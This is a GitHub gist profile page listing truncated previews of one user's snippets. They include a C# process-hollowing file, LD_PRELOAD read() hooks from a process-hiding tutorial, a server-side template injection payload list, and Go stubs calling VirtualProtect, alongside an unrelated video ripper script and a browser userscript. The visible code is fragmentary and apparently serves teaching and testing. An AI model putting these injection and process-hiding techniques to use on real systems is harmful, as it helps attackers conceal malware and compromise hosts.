Skip to content

Instantly share code, notes, and snippets.

View affix's full-sized avatar
:shipit:
Code never lies, Comments might though

Keiran Smith affix

:shipit:
Code never lies, Comments might though
View GitHub Profile
@affix
affix / ProcessHollow.cs
Created March 9, 2021 22:21
Process Hollowing Technique using C#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading;
using System.Text;
using System.Threading.Tasks;
namespace hollow
{
package main
import (
"bytes"
"fmt"
"log"
"github.com/google/gopacket"
"github.com/google/gopacket/pcap"
)
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
#define PROC_NAME "pipewire"
ssize_t read(int fd, void *buf, size_t count) {
ssize_t (*orig_read)(int fd, void *buf, size_t count);
ssize_t result;
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
ssize_t read(int fd, void *buf, size_t count) {
ssize_t (*orig_read)(int fd, void *buf, size_t count);
ssize_t result;
orig_read = dlsym(RTLD_NEXT, "read");
@affix
affix / hookingread.c
Created October 10, 2022 08:26
Hooking Read from my tutorial on process hiding, part 1
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
ssize_t read(int fd, void *buf, size_t count) {
return 0;
}
@affix
affix / ripm38u
Created March 25, 2015 03:50
M3U8 Ripper
#!/bin/bash
# ripm3u8 - Rip TS Playlists to MP4
# Written by Affix - http://affix.me
# GNU/GPLv2+
echo "M3U8 Ripper - Rip M3U8 Playlist of ts Files to MP4"
echo "Written by Affix"
if [ -z $2]
then
echo "Usage : ripm3u8 <url> <file name>"
@affix
affix / github-auto-sso.user.js
Last active February 22, 2022 10:33
A greesemonkey/tampermonkey/*monkey script to automatically login to github orgs using SSO
// ==UserScript==
// @name Github Auto SSO
// @namespace Violentmonkey Scripts
// @match https://github.com/*
// @grant none
// @version 1.0.1
// @author Keiran Smith <opensource@keiran.scot>
// @description 26/07/2021, 09:05:17
// ==/UserScript==
@affix
affix / SSTI Payloads
Last active September 17, 2021 11:06
<xss>
<attack>
<name>0</name>
<code>{{2*2}}[[3*3]]</code>
</attack>
<attack>
<name>1</name>
<code>{{3*3}}</code>
</attack>
<attack>
package main
import (
"encoding/hex"
"fmt"
"syscall"
"unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
package main
import (
"encoding/hex"
"fmt"
"syscall"
"unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")